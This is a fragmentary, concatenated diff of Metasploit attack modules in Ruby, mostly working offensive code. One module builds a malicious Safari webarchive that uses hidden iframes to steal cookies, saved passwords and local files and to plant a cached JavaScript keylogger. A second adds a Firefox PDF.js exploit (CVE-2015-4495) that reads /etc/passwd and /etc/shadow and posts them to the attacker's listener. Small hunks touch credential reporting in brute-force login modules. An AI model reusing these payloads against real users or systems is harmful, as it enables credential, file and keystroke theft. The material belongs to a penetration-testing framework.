if data.is_a? Hash
file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')
end
store_loot(
file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
)
file = @client_cache[cli.peerhost]['file']
@client_cache[cli.peerhost]['data'] ||= []
@client_cache[cli.peerhost]['data'].push(data)
data_str = JSON.generate(@client_cache[cli.peerhost]['data'])
File.write(file, data_str)
file
end
### ASSEMBLE THE WEBARCHIVE XML ###
# @return [String] contents of webarchive as an XML document
def webarchive_xml
return @xml if not @xml.nil? # only compute xml once
@xml = webarchive_header
urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) }
@xml << webarchive_footer
end
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
def webarchive_header
%Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
#{Rex::Text.encode_base64(iframes_container_html)}</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
<key>WebSubframeArchives</key>
<array>
|
end
# @return [String] the XML markup to insert into the webarchive for each unique
# iframe (we use one frame per site we want to steal)
def webarchive_iframe(url, idx)
%Q|
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
#{Rex::Text.encode_base64(iframe_content_for_url(url))}</data>
<key>WebResourceFrameName</key>
<string>&lt;!--framePath //&lt;!--frame#{idx}--&gt;--&gt;</string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>#{escape_xml url}</string>
</dict>
#{webarchive_iframe_subresources(url, idx)}
</dict>
|
end
# @return [String] the XML mark up for adding a set of "stored" resources at
# the given URLs
def webarchive_iframe_subresources(url, idx)
%Q|
<key>WebSubresources</key>
<array>
#{webarchive_resources_for_poisoning_cache(url)}
</array>
|
end
# @return [String] the XML markup to insert into the webarchive for each unique
# iframe (we use one frame per site we want to steal)
# @return '' if msf user does not want to poison cache
def webarchive_resources_for_poisoning_cache(url)
if not should_install_keyloggers? then return '' end
url_idx = urls.index(url)
scripts = scripts_to_poison[url_idx] || []
xml_dicts = scripts.map do |script|
script_body = inject_js_keylogger(script[:body])
%Q|
<dict>
<key>WebResourceData</key>
<data>
#{Rex::Text.encode_base64(script_body)}
</data>
<key>WebResourceMIMEType</key>
<string>application/javascript</string>
<key>WebResourceResponse</key>
<data>
#{Rex::Text.encode_base64 web_response_xml(script)}
</data>
<key>WebResourceURL</key>
<string>#{escape_xml script[:url]}</string>
</dict>
|
end
xml_dicts.join
end
# @return [String] the closing chunk of the webarchive XML code
def webarchive_footer
%Q|
</array>
</dict>
</plist>
|
end
# @param script [Hash] containing HTTP headers from the request
# @return [String] xml markup for serialized WebResourceResponse containing good
# stuff like HTTP/caching headers. Safari appears to do the following:
# NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
# [a encodeObject:response forKey:@"WebResourceResponse"];
def web_response_xml(script)
# this is a serialized NSHTTPResponse, i'm too lazy to write a
# real encoder so yay lets use string interpolation.
# ripped this straight out of a webarchive save
script['content-length'] = script[:body].length
whitelist = %w(content-type content-length date etag
Last-Modified cache-control expires)
headers = script.clone.delete_if { |k, v| not whitelist.include? k }
key_set = headers.keys.sort
val_set = key_set.map { |k| headers[k] }
key_refs = key_set.each_with_index.map do |k, i|
{ 'CF$UID' => 9+i }
end
val_refs = key_set.each_with_index.map do |k, i|
{ 'CF$UID' => 9+key_set.length+i }
end
%Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>$archiver</key>
<string>NSKeyedArchiver</string>
<key>$objects</key>
<array>
<string>$null</string>
<dict>
<key>$0</key>
<integer>8</integer>
<key>$1</key>
<integer>1</integer>
<key>$10</key>
<integer>8</integer>
<key>$11</key>
<integer>0</integer>
<key>$2</key>
<integer>7</integer>
<key>$3</key>
<dict>
<key>CF$UID</key>
<integer>2</integer>
</dict>|+
(4..7).map do |i|
%Q|
<key>$#{i}</key>
<dict>
<key>CF$UID</key>
<integer>#{i+1}</integer>
</dict>|
end.join("\n") + %Q|
<key>$8</key>
<dict>
<key>CF$UID</key>
<integer>#{8+key_set.length*2+2}</integer>
</dict>
<key>$9</key>
<dict>
<key>CF$UID</key>
<integer>0</integer>
</dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>#{8+key_set.length*2+3}</integer>
</dict>
</dict>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>4</integer>
</dict>
<key>NS.base</key>
<dict>
<key>CF$UID</key>
<integer>0</integer>
</dict>
<key>NS.relative</key>
<dict>
<key>CF$UID</key>
<integer>3</integer>
</dict>
</dict>
<string>#{escape_xml script[:url]}</string>
<dict>
<key>$classes</key>
<array>
<string>NSURL</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSURL</string>
</dict>
<real>388430153.25252098</real>
<integer>1</integer>
<integer>200</integer>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>#{8+key_set.length*2+1}</integer>
</dict>
<key>NS.keys</key>
<array>|+
key_set.each_with_index.map do |k, i|
%Q|<dict>
<key>CF$UID</key>
<integer>#{9+i}</integer>
</dict>|
end.join("\n") + %Q|
</array>
<key>NS.objects</key>
<array>|+
val_set.each_with_index.map do |k, i|
%Q|<dict>
<key>CF$UID</key>
<integer>#{9+key_set.length+i}</integer>
</dict>|
end.join("\n") + %Q|
</array>
</dict>
#{key_set.map{|s| "<string>#{s}</string>" }.join("\n")}
#{val_set.map{|s| "<string>#{s}</string>" }.join("\n")}
<dict>
<key>$classes</key>
<array>
<string>NSMutableDictionary</string>
<string>NSDictionary</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSMutableDictionary</string>
</dict>
<integer>107961</integer>
<dict>
<key>$classes</key>
<array>
<string>NSHTTPURLResponse</string>
<string>NSURLResponse</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSHTTPURLResponse</string>
</dict>
</array>
<key>$top</key>
<dict>
<key>WebResourceResponse</key>
<dict>
<key>CF$UID</key>
<integer>1</integer>
</dict>
</dict>
<key>$version</key>
<integer>100000</integer>
</dict>
</plist>
|
end
#### JS/HTML CODE ####
# Wraps the result of the block in an HTML5 document and body
def wrap_with_doc(&blk)
%Q|
<!doctype html>
<html>
<body>
#{yield}
</body>
</html>
|
end
# Wraps the result of the block with <script> tags
def wrap_with_script(&blk)
"<script>#{yield}</script>"
end
# @return [String] mark up for embedding the iframes for each URL in a place that is
# invisible to the user
def iframes_container_html
hidden_style = "position:fixed; left:-600px; top:-600px;"
wrap_with_doc do
frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" }
communication_js + frames.join + injected_js_helpers + steal_files + message
end
end
# @return [String] javascript code, wrapped in script tags, that is inserted into the
# WebMainResource (parent) frame so that child frames can communicate "up" to the parent
# and send data out to the listener
def communication_js
wrap_with_script do
%Q|
window.addEventListener('message', function(event){
var x = new XMLHttpRequest;
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
x.send(event.data);
});
|
end
end
# @return [String] all the HTML markup required for executing the chosen attacks
def iframe_content_for_url(url)
# this JS code runs inside the iframes, in the context of url
html = ''
html << injected_js_helpers
html << trigger_cache_poison_for_url(url) if should_install_keyloggers?
html << steal_cookies_for_url(url) if should_steal_cookies?
html << steal_form_data_for_url(url) if should_steal_form?
wrap_with_doc { html }
end
# @return [String] javascript code, wrapped in a script tag, that steals the cookies
# and response body/headers, and passes them back up to the parent.
def steal_cookies_for_url(url)
wrap_with_script do
%Q|
try {
var req = new XMLHttpRequest();
var sent = false;
req.open('GET', '#{url}', true);
req.onreadystatechange = function() {
if (req.readyState==4 && !sent) {
sendData('#{url}', {
response_headers: req.getAllResponseHeaders(),
response_body: req.responseText
});
sent = true;
}
};
req.send(null);
} catch (e) {}
sendData('cookie', document.cookie);
|
end
end
# @return [String] javascript code, wrapped in a script tag, that steals local files
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
# frame, which runs in the file:// protocol
def steal_files
return '' unless should_steal_files?
urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ')
wrap_with_script do
%Q|
var filesStr = "#{urls_str}";
var files = filesStr.trim().split(/\s+/);
var stealFile = function(url) {
var req = new XMLHttpRequest();
var sent = false;
req.open('GET', url, true);
req.onreadystatechange = function() {
if (!sent && req.responseText && req.responseText.length > 0) {
sendData(url, req.responseText);
sent = true;
}
};
req.send(null);
};
for (var i = 0; i < files.length; i++) stealFile(files[i]);
|
end
end
# @return [String] javascript code, wrapped in a script tag, that steals autosaved form
# usernames and passwords. The attack first tries to render the target URL in an iframe,
# and steal populated passwords from there. If the site disables iframes through the
# X-Frame-Options header, we try popping open a new window and rendering the site in that.
def steal_form_data_for_url(url)
wrap_with_script do
%Q|
var stealFormData = function(win, completeFn) {
var doc = win.document;
if (!doc) doc = win.contentDocument;
return function() {
var data = {}, found = false;
try {
var inputs = doc.querySelectorAll(
'input[type=email],input[type=text],input[type=password],textarea'
);
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].value && inputs[i].value.length > 0) {
found = true;
data[inputs[i].name] = inputs[i].value;
}
}
if (found) sendData(data);
if (completeFn) completeFn.call();
} catch(e) {}
}
}
var tryInNewWin = function() {
var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;');
if (y) {
var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20);
y.addEventListener('load', function() {
window.setTimeout(stealFormData(y, function(){
if (int1) {
window.clearInterval(int1);
int1 = null;
}
y.close();
}), 500);
}, false);
}
};
var tryInIframe = function(){
var i = document.createElement('iframe');
i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;';
document.body.appendChild(i);
i.src = '#{url}';
i.addEventListener('load', function() {
window.setTimeout(stealFormData(i), 500);
}, false);
return i;
};
var iframe = tryInIframe();
if (#{should_pop_up?}) {
window.setTimeout(function(){
if (iframe.contentDocument &&
iframe.contentDocument.location.href == 'about:blank') {
tryInNewWin();
}
}, 1000)
}
|
end
end
# @return [String] javascript code, wrapped in script tag, that adds a helper function
# called "sendData()" that passes the arguments up to the parent frame, where it is
# sent out to the listener
def injected_js_helpers
wrap_with_script do
%Q|
window.sendData = function(key, val) {
var data = {};
data[key] = val;
window.top.postMessage(JSON.stringify(data), "*")
};
|
end
end
# @return [String] HTML markup that includes a script at the URL we want to poison
# We will then install the injected_js_keylogger at the same URL
def trigger_cache_poison_for_url(url)
url_idx = urls.index(url)
scripts_to_poison[url_idx].map { |s|
"\n<script src='#{s[:url]}' type='text/javascript'></script>\n"
}.join
end
# @param original_js [String] the original contents of the script file
# @return [String] the poisoned contents. Once the module has found a valid 304'd script to
# poison, it "poisons" it by adding a keylogger, then adds the output as a resource with
# appropriate Cache-Control to the webarchive.
# @return [String] the original contents if msf user does not want to install keyloggers
def inject_js_keylogger(original_js)
if not should_install_keyloggers?
original_js
else
frame_name = 'lalala___lalala'
secret = '____INSTALLED!??!'
%Q|
(function(){
if (window['#{secret}']) return;
window['#{secret}'] = true;
document.addEventListener('DOMContentLoaded',function(){
var buffer = '';
var sendData = function(keystrokes, time) {
var img = new Image();
data = JSON.stringify({keystrokes: keystrokes, time: time});
img.src = '#{backend_url}#{collect_data_uri}?data='+data;
}
document.addEventListener('keydown', function(e) {
var c = String.fromCharCode(e.keyCode);
if (c.length > 0) buffer += c;
}, true);
window.setInterval(function(){
if (buffer.length > 0) {
sendData(buffer, new Date);
buffer = '';
}
}, 3000)
});
})();
#{original_js}
|
end
end
# @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked
# javascript assets in its HTML response.
def all_script_urls(pages)
pages.map do |url|
results = []
print_status "Fetching URL #{url}..."
# fetch and parse the HTML document
doc = Nokogiri::HTML(URI.parse(url).open)
# recursively add scripts from iframes
doc.css('iframe').each do |iframe|
print_status "Checking iframe..."
if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty?
results += all_script_urls([iframe.attributes['src'].value])
end
end
# add all scripts on the current page
doc.css('script').each do |script| # loop over every <script>
# external scripts only
if not script.attributes['src'].nil? and not script.attributes['src'].value.empty?
results << script.attributes['src'].value
end
end
results
end
end
# @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts
def find_cached_scripts
cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
begin
page_uri = URI.parse(urls[i])
rescue URI::InvalidURIError => e
next
end
results = urls_for_site.uniq.map do |url|
begin
print_status "URL: #{url}"
begin
script_uri = URI.parse(url)
if script_uri.relative?
url = page_uri + url
end
if url.to_s.starts_with? '//'
url = "#{page_uri.scheme}:#{url}"
end
io = URI.parse(url).open
rescue URI::InvalidURIError, OpenURI::HTTPError
next
end
# parse some HTTP headers and do type coercions
last_modified = io.last_modified
expires = Time.parse(io.meta['expires']) rescue nil
cache_control = io.meta['cache-control'] || ''
charset = io.charset
etag = io.meta['etag']
# lets see if we are able to "poison" the cache for this asset...
if (!expires.nil? && Time.now < expires) or
(cache_control.length > 0) or # if asset is cacheable
(not last_modified.nil? and last_modified.to_s.length > 0)
print_status("Found cacheable #{url}")
io.meta.merge(:body => io.read, :url => url)
else
nil
end
rescue Errno::ENOENT => e # lots of things can go wrong here.
next
end
end
results.compact # remove nils
end
print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable."
cached_scripts
end
### HELPERS ###
# @return [String] the path to send data back to
def collect_data_uri
path = datastore["URIPATH"]
if path.nil? or path.empty?
'/grab'
elsif path =~ /^\//
path
else
"/#{path}"
end
end
# @return [String] formatted http/https URL of the listener
@@ -820,60 +86,22 @@ class Metasploit3 < Msf::Auxiliary
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
"#{proto}://#{myhost}#{port_str}"
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
end
# @return [String] URL that serves the malicious webarchive
def webarchive_download_url
datastore["DOWNLOAD_PATH"]
end
# @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
# via the FILE_URLS module option.
def interesting_file_urls
[
'file:///var/log/weekly.out', # may contain usernames
'file:///private/var/log/secure.log',
'file:///private/var/log/install.log',
'file:///private/etc/passwd'
]
end
# @return [String] HTML content that is rendered in the <body> of the webarchive.
def message
"<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')
end
# @return [Array<String>] of URLs provided by the user
def urls
(datastore['URLS'] || '').split(/\s+/)
def popup_js
wrap_with_script do
%Q|
window.onclick = function() {
window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>');
};
|
end
end
# @param input [String] the unencoded string
# @return [String] input with dangerous chars replaced with xml entities
def escape_xml(input)
input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
.gsub(">", "&gt;").gsub("'", "&apos;")
.gsub("\"", "&quot;")
end
def should_steal_cookies?
datastore['STEAL_COOKIES']
end
def should_steal_form?
datastore['STEAL_FORM_DATA']
end
def should_steal_files?
datastore['STEAL_FILES']
end
def should_pop_up?
should_steal_form? and datastore['ENABLE_POPUPS']
end
def should_install_keyloggers?
datastore['INSTALL_KEYLOGGERS']
end
end
@@ -0,0 +1,278 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox PDF.js Browser File Theft',
'Description' => %q{
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
privileges to read local files. The in-the-wild malicious payloads searched for sensitive
files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
do not use the Mozilla PDF viewer.
},
'Author' => [
'Unknown', # From an 0day served on Russian news website
'fukusa', # Hacker news member that reported the issue
'Unknown' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'References' =>
[
['URL', 'https://paste.debian.net/290146'], # 0day exploit
['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer
['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],
['CVE', '2015-4495']
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('FILES', [
false,
'Comma-separated list of files to steal',
'/etc/passwd, /etc/shadow'
])
], self.class)
register_advanced_options([
OptInt.new('PER_FILE_SLEEP', [
false,
'Milliseconds to wait before attempting to read the frame containing each file',
250
])
], self.class)
end
def run
print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")
exploit
end
def on_request_uri(cli, request)
if request.method.downcase == 'post'
print_status('Got POST request...')
process_post(cli, request)
send_response_html(cli, '')
else
print_status('Sending exploit...')
send_response_html(cli, html)
end
end
def process_post(cli, req)
name = req.qstring['name']
print_good("Received #{name}, size #{req.body.bytes.length}...")
output = store_loot(
name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'
)
print_good("Stored to #{output}")
end
def html
exploit_js = js + file_payload + '}, 20);'
"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"
end
def backend_url
proto = (datastore['SSL'] ? 'https' : 'http')
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
end
def file_payload
%Q|
var files = (#{JSON.generate(file_urls)});
function next() {
var f = files.pop();
if (f) {
get("file://"+f, function() {
var data = get_data(this);
var x = new XMLHttpRequest;
x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));
x.send(data);
}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);
setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);
}
}
next();
|
end
def file_urls
datastore['FILES'].split(',').map(&:strip)
end
def js
<<-EOJS
function xml2string(obj) {
return new XMLSerializer().serializeToString(obj);
}
function __proto(obj) {
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}
function get(path, callback, timeout, template, value) {
callback = _(callback);
if (template && value) {
callback = callback.replace(template, value);
}
js_call1 = 'javascript:' + _(function() {
try {
open("%url%", "_self");
} catch (e) {
history.back();
}
undefined;
}, "%url%", path);
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
sandboxContext(_(function() {
i = document.getElementById('i');
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
i2 = document.getElementById('i2');
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
}));
setTimeout((function() {
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
}));
}), timeout);
}
function get_data(obj) {
data = null;
try {
data = obj.document.documentElement.innerHTML;
if (data.indexOf('dirListing') < 0) {
throw new Error();
}
} catch (e) {
if (this.document instanceof XMLDocument) {
data = xml2string(this.document);
} else {
try {
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
data = this.document.body.firstChild.textContent;
} else {
throw new Error();
}
} catch (e) {
try {
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
return null;
} else {
throw new Error();
}
} catch (e) {
;;
}
}
}
}
return data;
}
function _(s, template, value) {
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
s = s.substring(0, s.length - 1);
if (template && value) {
s = s.replace(template, value);
}
s += __proto;
s += xml2string;
s += get_data;
s = s.replace(/\\s\\/\\/.*\\n/g, "");
s = s + ";undefined";
return s;
}
function get_sandbox_context() {
if (window.my_win_id == null) {
for (var i = 0; i < 20; i++) {
try {
if (window[i].location.toString().indexOf("view-source:") != -1) {
my_win_id = i;
break;
}
} catch (e) {}
}
};
if (window.my_win_id == null)
return;
clearInterval(sandbox_context_i);
object.data = 'view-source:' + blobURL;
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
object.data = 'data:text/html,<'+'html/>';
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
'"position:absolute; left:-9999px;" onload = "'+_(function(){
window.wrappedJSObject.sandboxContext=(function(cmd) {
with(importFunction.constructor('return this')()) {
return eval(cmd);
}
});
}) + '"/>');
}
var i = document.createElement("iframe");
i.id = "i";
i.width=i.height=0;
i.style='position:absolute;left:-9999px;';
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
document.documentElement.appendChild(i);
i.onload = function() {
if (this.contentDocument.styleSheets.length > 0) {
var i2 = document.createElement("iframe");
i2.id = "i2";
i2.width=i2.height=0;
i2.style='position:absolute;left:-9999px;';
i2.src = "data:application/pdf,";
document.documentElement.appendChild(i2);
pdfBlob = new Blob([''], {
type: 'application/pdf'
});
blobURL = URL.createObjectURL(pdfBlob);
object = document.createElement('object');
object.data = 'data:application/pdf,';
object.onload = (function() {
sandbox_context_i = setInterval(get_sandbox_context, 200);
object.onload = null;
object.data = 'view-source:' + location.href;
return;
});
document.documentElement.appendChild(object);
} else {
this.contentWindow.location.reload();
}
}
var kill = setInterval(function() {
if (window.sandboxContext) {
clearInterval(kill);
} else {
return;
}
EOJS
end
end
@@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")
report_cred(ip: rhost, port: rport, user: username, password: password)
report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body)
else
print_error("#{target_url} - Apache Axis - Not Vulnerable")
@@ -109,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -139,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
return :next_user
else
@@ -135,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -164,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary
if res and res.get_cookies.include?('authenticated=')
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect)
return :next_user
else
@@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -224,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
do_logout(resp.get_cookies)
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")
return :next_user
@@ -1,3 +1,4 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@@ -103,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -117,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
return :next_user
else
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
return :next_user
else
@@ -131,6 +131,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -104,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
return :next_user
else
@@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -125,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary
location = res.headers['Location']
if res and res.headers and (location = res.headers['Location']) and location =~ /admin\//
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
return :next_user
else
vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"")
@@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary
report_cred(
ip: Rex::Socket.getaddress(datastore['RHOST']),
port: datastore['RPORT'],
user: user
user: user,
proof: base_uri+l
)
end
@@ -145,6 +145,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -167,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil)
print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
elsif(res and res.code == 200)
vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'")
@@ -87,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -113,7 +114,7 @@ class Metasploit3 < Msf::Auxiliary
if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
@@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -126,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
else
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
